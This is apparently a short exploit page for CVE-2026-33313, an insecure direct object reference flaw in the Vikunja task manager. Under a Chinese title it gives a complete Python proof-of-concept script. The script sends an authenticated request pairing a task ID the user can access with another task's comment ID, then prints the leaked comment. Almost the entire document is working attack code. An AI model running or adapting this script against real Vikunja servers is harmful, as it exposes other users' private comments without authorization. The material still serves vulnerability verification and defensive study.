CVE-2026-33313 Vikunja越权读取任务评论漏洞

import requests # Configuration TARGET_URL = "https://example.com" # Attacker's accessible task ID ATTACKER_TASK_ID = "100" # Target comment ID to steal TARGET_COMMENT_ID = "999" # User's authentication token AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit_idor(): """ Exploit CVE-2026-33313 by swapping the Task ID in the API endpoint. The server validates access to ATTACKER_TASK_ID but returns TARGET_COMMENT_ID. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious endpoint construction # Original logic might check if user can read task 100, then return comment 999 from it. # Vulnerability: It returns comment 999 regardless of which task it belongs to. url = f"{TARGET_URL}/api/v1/tasks/{ATTACKER_TASK_ID}/comments/{TARGET_COMMENT_ID}" print(f"[+] Sending request to: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked comment data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_idor()